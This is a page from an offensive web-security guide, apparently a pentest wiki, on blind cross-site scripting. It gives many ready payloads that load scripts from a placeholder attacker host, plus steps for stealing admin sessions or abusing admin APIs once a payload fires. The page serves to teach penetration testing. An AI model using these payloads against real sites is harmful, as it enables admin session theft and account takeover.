Skip to content

Blind XSS

Blind XSS is stored XSS whose render happens on a page you have no access to - a staff-only admin panel, a moderation queue, a log or analytics viewer, an emailed notification. You submit the payload, see nothing, and only find out it worked when it fires in someone else’s browser. Because that someone is usually privileged, blind XSS is one of the most direct routes to an admin session - but you can only confirm it out-of-band.

# Payload loads a remote script named after the field it went into,
# so the callback tells you WHICH field fired and WHERE.
<script src=//<ATTACKER>/username></script> → into the username field
<script src=//<ATTACKER>/ticket_body></script> → into the ticket body
# A hit on /username means the username field's markup parsed and the browser
# fetched your script. Have that script emit a SECOND beacon from inside JS to
# prove it actually executed.

Read the evidence in three levels, and don’t skip ahead:

  1. A plain request for your resource (the <script src> hit, a DNS lookup) proves the browser fetched it - which usually means your markup parsed - but not that your JavaScript ran. Scanners, URL-preview bots, and a script that 404s or is served with the wrong MIME type all produce a hit without execution.
  2. A second beacon emitted from within your hosted script (e.g. the script does its own fetch('//<ATTACKER>/exec?...')) proves the JavaScript actually executed.
  3. The context the beacon reports back (page URL, whether a privileged session is present) is what lets you claim an admin pivot - verify it, don’t assume the viewer was an admin.

Success indicator: that second, JS-emitted beacon - not merely the resource fetch.

Any input that is reviewed later by someone else, through an interface you don’t control:

  • Support tickets, contact forms, abuse/bug reports
  • Product reviews and comments held for moderation
  • User-detail fields shown in an admin user-management panel
  • Log and analytics dashboards that render User-Agent, Referer, or request paths
  • Anything that generates a staff email or PDF/report from your input

The User-Agent and Referer headers are classic blind sinks: they land in admin-facing log viewers that render them as HTML.

You can’t see the render, which creates two unknowns:

  1. Which field is vulnerable? You may be injecting into many fields; any one of them could be the one that fires.
  2. Which payload works? You can’t watch the context, so you can’t tell why a given payload failed.

Both are solved by making execution phone home, and by encoding the field identity into the callback.

You need something that records inbound HTTP (and ideally DNS) hits:

  • Burp Collaborator or Interactsh (interactsh-client) - unique callback hostnames, capture HTTP + DNS, no setup beyond the client.
  • XSS Hunter Express - purpose-built for blind XSS: its payloads auto-collect the page URL, DOM, cookies, and a screenshot of wherever they fired, which immediately tells you what the admin page looks like.
  • A plain php -S 0.0.0.0:80 or python -m http.server on a box you control, when you just need to see the hit.

Step 2 - Identify the field with per-field callbacks

Section titled “Step 2 - Identify the field with per-field callbacks”

Name the callback after the field, so the inbound request tells you which input the browser parsed and fetched a script for:

# Put a differently-named loader in each field
<script src=//<ATTACKER>/fullname></script>
<script src=//<ATTACKER>/username></script>
<script src=//<ATTACKER>/subject></script>

A request for /username means the username field’s markup parsed and the browser fetched that loader. This is the key trick: it collapses “something fired” into “this specific field fired.” (Per the three evidence levels above, the fetch indicates the injection parsed; have the hosted script emit its own beacon to confirm it then executed.)

  1. Submit one named loader per candidate field (skip fields with strict format validation like email, and secrets like passwords that aren’t echoed).
  2. Wait - the render happens when a human opens the admin view, which can be minutes or hours.
  3. When a callback arrives, note the path (which field) and move to a real payload in that field.

You can’t see the markup, so you can’t tailor the breakout. Two strategies:

  • Rotate breakout prefixes across submissions, each still loading the same named remote script, so different contexts are covered:

    <script src=//<ATTACKER>/f1></script>
    "><script src=//<ATTACKER>/f2></script>
    '><script src=//<ATTACKER>/f3></script>
    <img src=x onerror="s=document.createElement('script');s.src='//<ATTACKER>/f4.js';document.body.appendChild(s)">
    javascript:eval('var a=document.createElement("script");a.src="//<ATTACKER>/f5";document.body.appendChild(a)')
    <script>$.getScript("//<ATTACKER>/f6")</script>
    <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load",b);a.open("GET","//<ATTACKER>/f7");a.send()</script>

    The callback path (f1…f4) tells you which breakout succeeded as well as which field. The fourth uses a handler to inject a classic <script> element for innerHTML sinks (which ignore bare <script>). Prefer this over import('//…'): a dynamic import() is an ES-module fetch that requires the hosted file to be served with CORS headers (Access-Control-Allow-Origin) and a JavaScript MIME type, which a quick php -S / python -m http.server does not send by default - so import() can produce a request that never executes. A classic script element has no such CORS requirement. The javascript: form (f5) fits href/URL contexts; $.getScript (f6) is a one-liner where the page already loads jQuery; and the XMLHttpRequest + eval(this.responseText) form (f7) fetches your payload and evals it. Reading a cross-origin response, though, needs Access-Control-Allow-Origin on your listener (the same caveat as import()): a plain php -S / http.server doesn’t send it, so the request reaches /f7 but the browser blocks the read and the load handler never runs anything. Use f7 only with a CORS-enabled listener (or a same-origin injection); for the no-CORS case prefer the classic <script src> / $.getScript loaders, which are exempt.

  • Prefer a remote script over an inline payload. Keep the injected value tiny and put all logic in the hosted script, so you can change what the payload does without re-injecting. Blind XSS succeeds most often where you can guess the context least - so lean on the loader and iterate server-side.

Step 4 - Weaponize for the privileged session

Section titled “Step 4 - Weaponize for the privileged session”

Once a field+breakout fires, the payload runs in the reviewer’s browser. The useful actions target their privileges:

  • Exfiltrate the admin session or DOM - the receiver and document.cookie / callback patterns are in XSS to session.
  • If cookies are HttpOnly, drive the admin’s own session: call the app’s admin API from their browser to create an attacker account or change a role - see XSS+CSRF chain.
  • With XSS Hunter-style beacons, the auto-captured screenshot and DOM tell you what admin functionality is reachable before you commit to an action.
  • No callback ever. The field may be format-validated, never rendered, or rendered with correct output encoding. Confirm the loader itself isn’t malformed, and try the handler-based (onerror) loader for innerHTML sinks.
  • Callback for the script but no follow-up exfil. The loader ran but the hosted script errored (CSP, syntax, blocked fetch). Check the admin page’s CSP via what the beacon captured; adapt per Filter bypasses.
  • Long delay misread as failure. Human-triggered renders are slow. Give it time before rotating.
  • Only DNS fires, not HTTP. A name was resolved but the HTTP connect was blocked (egress filtering, CSP connect-src/script-src), or something merely pre-resolved your hostname. Treat DNS-only as weak evidence that your markup was processed, not proof of execution - adjust to a permitted scheme/host and wait for the JS-emitted beacon.
  • Script fetched but never runs. A <script src> served with the wrong MIME type, or an import() without CORS headers, is fetched (you see the hit) but not executed. Serve classic scripts with the right content type, and avoid import() unless your listener sends CORS.
Step Action
Listener Collaborator / Interactsh / XSS Hunter / own server
Identify One loader per field, named after the field
Context Rotate breakout prefixes; encode which one in the path
Delivery Remote-script loader, logic hosted (not inline)
Weaponize Admin session theft / app-API abuse from their browser
  • Named callback received → you know the field; switch that field to a real remote-script payload
  • Script loads but nothing exfiltrates → likely CSP on the admin page; see CSP bypass
  • Admin panel uses innerHTML → handler-based loader that appends a classic script element (<img src=x onerror=…createElement('script')…>); see DOM-based
  • Got the admin session/DOM → exfil and reuse via XSS to session
  • HttpOnly cookies → act as the admin in-browser via XSS+CSRF chain
  • Putting it all together → Capstone chain